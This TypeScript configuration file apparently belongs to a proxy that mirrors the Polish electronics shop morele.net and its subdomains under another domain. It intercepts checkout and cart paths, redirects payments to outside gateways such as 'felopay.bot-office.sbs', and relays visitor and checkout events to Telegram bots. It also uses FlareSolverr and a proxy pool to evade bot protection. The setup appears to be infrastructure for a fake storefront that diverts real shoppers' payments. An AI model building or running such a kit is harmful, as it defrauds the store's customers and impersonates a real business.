import dotenv from 'dotenv';

dotenv.config();

const env = process.env;
const domain = env.DOMAIN ?? 'localhost:3000';
const isLocal = domain.startsWith('localhost') || domain.startsWith('127.');
const origin = env.ORIGIN ?? (isLocal ? `http://${domain}` : `https://${domain}`);

export type UpstreamHost = {
  key: string;
  host: string;
  origin: string;
  prefix: string;
  ws?: boolean;
};

const upstreamMain = env.MORELE_UPSTREAM_MAIN ?? 'https://www.morele.net';
const upstreamImages = env.MORELE_UPSTREAM_IMAGES ?? 'https://images.morele.net';

export const config = {
  port: parseInt(env.PORT ?? '3000', 10),
  domain,
  origin,
  cookieDomain: domain.split(':')[0],

  upstream: {
    primaryKey: 'main',
    hosts: [
      { key: 'main', host: 'www.morele.net', origin: upstreamMain, prefix: '' },
      { key: 'b', host: 'b.morele.net', origin: 'https://b.morele.net', prefix: '/_a/b' },
      { key: 'secure', host: 'secure.morele.net', origin: 'https://secure.morele.net', prefix: '/_a/secure' },
      { key: 'image', host: 'images.morele.net', origin: upstreamImages, prefix: '/_a/image' },
      { key: 'static', host: 'static.morele.net', origin: 'https://static.morele.net', prefix: '/_a/static' },
      { key: 'an1', host: 'an1.morele.net', origin: 'https://an1.morele.net', prefix: '/_a/an1' },
      { key: 'delivery', host: 'delivery.morele.net', origin: 'https://delivery.morele.net', prefix: '/_a/delivery' },
      { key: 'mseeker', host: 'mseeker.morele.net', origin: 'https://mseeker.morele.net', prefix: '/_a/mseeker' },
      { key: 'lp', host: 'lp.morele.net', origin: 'https://lp.morele.net', prefix: '/_a/lp' },
      { key: 'live', host: 'live.morele.net', origin: 'https://live.morele.net', prefix: '/_a/live', ws: true },
      { key: 'askspot', host: 'chat.askspot.io', origin: 'https://chat.askspot.io', prefix: '/_a/askspot' },
    ] satisfies UpstreamHost[],
  },

  intercept: {
    assetPrefix: '/_a',
    pingPath: '/__proxy/ping',
    checkoutRedirectPath: '/checkout/redirect',
    checkoutRedirectAliasPath: '/__pay/redirect',
    checkoutDeliveryPath: '/dostawa-i-platnosc/',
    checkoutSubmitPath: '/api/checkout/submit',
    checkoutReturnPath: '/checkout/return',
    checkoutCancelPath: '/checkout/cancel',
    auroraWebhookPath: '/api/aurora/webhook',
    cartApiPath: env.MORELE_CART_API_PATH ?? '/koszyk/',
    eventCartAddPath: '/api/events/cart-add',
    eventCheckoutStartPath: '/api/events/checkout-start',
    supportApiPrefix: '/api/support',
  },

  privacy: {
    sensitivePathPatterns: [
      /^\/login\b/i,
      /^\/register\b/i,
      /^\/logowanie\b/i,
      /^\/zaloguj\b/i,
      /^\/connect\b/i,
      /^\/check-google\b/i,
      /^\/konto\b/i,
      /^\/account\b/i,
      /^\/user\b/i,
      /^\/api\/auth\b/i,
      /^\/analytics\b/i,
      /^\/api\/analytics\b/i,
      /^\/checkout\b/i,
      /^\/zamowienie\b/i,
      /^\/koszyk\/platnosc\b/i,
    ],
  },

  session: {
    secret: env.SESSION_SECRET ?? 'dev-secret-please-change-me',
    visitorCookieName: 'm_vid',
    visitorMaxAge: 60 * 60 * 24 * 365,
  },

  redis: {
    url: env.REDIS_URL ?? 'redis://localhost:6379',
  },

  analytics: {
    enabled: env.ANALYTICS_ENABLED !== 'false',
    adminPrefix: '/analytics',
    apiPrefix: '/api/analytics',
    adminLogin: env.ANALYTICS_ADMIN_LOGIN ?? 'admin',
    adminPasswordHash:
      env.ANALYTICS_ADMIN_PASSWORD_HASH ??
      '883b0f2889095ced99d168717e3f2f3484ba2fd027a4bd1f182e20bb96313397aacb7d18d0cd0919267c0f9480d37a69f23f7c6aca63ca223798d01e4b945de3',
    adminPasswordSalt: env.ANALYTICS_ADMIN_PASSWORD_SALT ?? 'mp-analytics-admin-v1',
    sessionCookieName: 'mp_admin_session',
    csrfCookieName: 'mp_admin_csrf',
    visitorCookieName: 'mp_aid',
    sessionClientCookieName: 'mp_asid',
    sessionTtlSeconds: parseInt(env.ANALYTICS_ADMIN_SESSION_TTL ?? String(60 * 60 * 12), 10),
    visitorTtlSeconds: parseInt(env.ANALYTICS_VISITOR_TTL ?? String(60 * 60 * 24 * 365), 10),
    siteSessionTtlSeconds: parseInt(env.ANALYTICS_SITE_SESSION_TTL ?? String(60 * 30), 10),
    onlineWindowSeconds: parseInt(env.ANALYTICS_ONLINE_WINDOW ?? String(60 * 3), 10),
    retentionDays: parseInt(env.ANALYTICS_RETENTION_DAYS ?? '180', 10),
    maxRangeDays: parseInt(env.ANALYTICS_MAX_RANGE_DAYS ?? '90', 10),
    pollingMs: parseInt(env.ANALYTICS_POLLING_MS ?? String(10 * 60 * 1000), 10),
    ipHashSecret: env.ANALYTICS_IP_HASH_SECRET ?? env.SESSION_SECRET ?? 'dev-secret-please-change-me',
    loginMaxAttempts: parseInt(env.ANALYTICS_LOGIN_MAX_ATTEMPTS ?? '8', 10),
    loginLockSeconds: parseInt(env.ANALYTICS_LOGIN_LOCK_SECONDS ?? String(15 * 60), 10),
  },

  browserUserAgent:
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',

  proxyPool: {
    enabled: env.PROXY_POOL_ENABLED === 'true',
    urls: (env.PROXY_POOL_URLS ?? '')
      .split(',')
      .map((s) => s.trim())
      .filter(Boolean),
  },

  flareSolverr: {
    enabled: env.FLARESOLVERR_ENABLED === 'true',
    url: (env.FLARESOLVERR_URL ?? '').trim(),
    maxTimeoutMs: parseInt(env.FLARESOLVERR_MAX_TIMEOUT_MS ?? '120000', 10),
  },

  aurora: {
    apiBase: env.AURORA_API_BASE ?? 'https://aurorapay.digital',
    apiKey: env.AURORA_MERCHANT_API_KEY ?? '',
    webhookSecret: env.AURORA_WEBHOOK_SECRET ?? '',
    merchantId: env.AURORA_MERCHANT_ID ?? 'morele',
    webhookUrl: env.AURORA_WEBHOOK_URL ?? `${origin}/api/aurora/webhook`,
  },

  payment: {
    felopayRedirectBase: env.FELOPAY_REDIRECT_BASE ?? 'https://felopay.bot-office.sbs/',
    apiSecret: env.FELOPAY_API_SECRET ?? '',
    tokenBytes: 24,
    currencies: { PLN: 2, EUR: 1, USD: 3 } as Record<string, number>,
    states: {
      new: { id: 1, label: 'Nowe' },
      processing: { id: 3, label: 'W trakcie realizacji' },
      paid: { id: 2, label: 'Opłacone' },
      failed: { id: 8, label: 'Błąd płatności' },
      cancelled: { id: 6, label: 'Anulowane' },
    } as Record<string, { id: number; label: string }>,
  },

  mirrorTg: {
    token: env.MIRROR_TELEGRAM_BOT_TOKEN ?? '',
    chatId: env.MIRROR_TELEGRAM_CHAT_ID ?? '',
  },

  tg: {
    token: env.TG_BOT_TOKEN ?? '',
    adminChatId: env.TG_ADMIN_CHAT_ID ?? '',
  },

  supportTg: {
    token: env.SUPPORT_TG_BOT_TOKEN ?? '',
    chatId: env.SUPPORT_TG_CHAT_ID ?? '',
  },
} as const;

export type Config = typeof config;

export function getUpstreamByKey(key: string): UpstreamHost | undefined {
  return config.upstream.hosts.find((host) => host.key === key);
}

export function getUpstreamByHost(hostname: string): UpstreamHost | undefined {
  const normalized = hostname.toLowerCase();
  return config.upstream.hosts.find((host) => host.host.toLowerCase() === normalized);
}

export function isSensitivePath(path: string): boolean {
  return config.privacy.sensitivePathPatterns.some((pattern) => pattern.test(path));
}
